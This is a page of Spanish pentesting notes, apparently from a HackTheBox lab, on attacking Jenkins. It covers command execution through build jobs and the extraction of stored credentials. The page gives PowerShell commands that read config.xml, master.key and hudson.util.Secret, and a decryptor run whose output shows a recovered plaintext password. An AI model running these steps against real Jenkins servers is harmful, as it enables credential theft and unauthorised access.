Notas
  • Introduction
  • Active Directory
    • BloodHound
    • Bypassing
    • Enumeration
    • Groups
    • Methodology
    • Msfvenom
    • Pivoting
    • Privesc
  • CMS
    • Jenkins
    • wordpress
  • CVEs
    • CVE-2017-0199
    • CVE-2019-1414
    • CVE-2021-42287
    • CVE-2021-44228
  • Common Ports
    • DNS - 53
    • LDAP - 389
    • MSSQL - 1433
    • NFS - 2049
    • RPC - 135
    • SMB - 445
    • VNC - 5900
    • ftp-21
    • kerberos-88
    • msrpc-5722
    • mysql-3306
    • rdp-3389
    • redis-6379
    • smtp-25
    • snmp-161
    • squid-3128
    • winrm-5985
  • EXTRA
    • BruteForce
    • Criptography
    • Extra
    • Fuzzing
    • Mounts
    • RevShells
  • Pentesting Android
    • Basic
  • Pentesting Web
    • IIS
    • LFI
    • OWASP TOP 10
    • Padding Oracle Attack
    • SSRF
    • SSTI
    • XSS
  • Pivoting
    • Remote Port Fowarding
    • Remote commands
  • SQLi
    • Conditional-based
    • Enumeration
    • Error-based
    • SQLite
    • Time-based
  • linux
    • Escalada
    • common-vulns
    • docker-breakout
    • ip-tables
    • port-forwarding
    • port-knocking
    • privesc
    • reversing
    • samba
  • scripting
    • Bash
    • PHP
    • Powershell
    • Python
Powered by GitBook
On this page
  • jenkins
  • Jenkins
  • Inyectar comando al construir proyecto
  • Obtener credenciales
  1. CMS

Jenkins

PreviousCMSNextwordpress

Last updated 1 year ago

jenkins

Jenkins

Inyectar comando al construir proyecto

https://rubbxalc.github.io/writeups/assets/img/Object-htb/4.png

image

Es necesario agregar una tarea para que se ejecute cada cierto tiempo (En este caso, cada minuto)

image

Una vez se ha compilado, se puede ver el output del comando que he indicado

image

En caso de no querer esperar a que se ejecute la tarea, existe una alternativa. Creo un token desde los ajustes de la cuenta a la que previamente tenía acceso

image

Con curl construyo el proyecto

curl -s -X GET 'http://rubbx:[email protected]:8080/job/Testing/build?token=rubbx

Obtener credenciales

En caso de poder ejecutar comandos, es necesario traer tres archivos, el config.xml, master.key y hudson.util.Secret

cmd /c powershell -c type ..\..\users\admin_17207690984073220035\config.xml
cmd /c powershell -c type ..\..\secrets\master.key

El último al ser un binario hay que traerlo en base64 para posteriormente hacer un decode

cmd /c powershell -c [convert]::ToBase64String((Get-Content -path "..\..\secrets\hudson.util.Secret" -Encoding byte))
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\Testing>cmd /c powershell -c [convert]::ToBase64String((Get-Content -path "..\..\secrets\hudson.util.Secret" -Encoding byte))
./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c config.xml
[
  {
    "id": "320a60b9-1e5c-4399-8afe-44466c9cde9e",
    "password": "c1cdfun_d2434\u0003\u0003\u0003",
    "username": "oliver"
  }
]
https://rubbxalc.github.io/writeups/assets/img/Object-htb/5.png
https://rubbxalc.github.io/writeups/assets/img/Object-htb/6.png
https://rubbxalc.github.io/writeups/assets/img/Object-htb/8.png

La herramienta necesaria se encuentra en

Github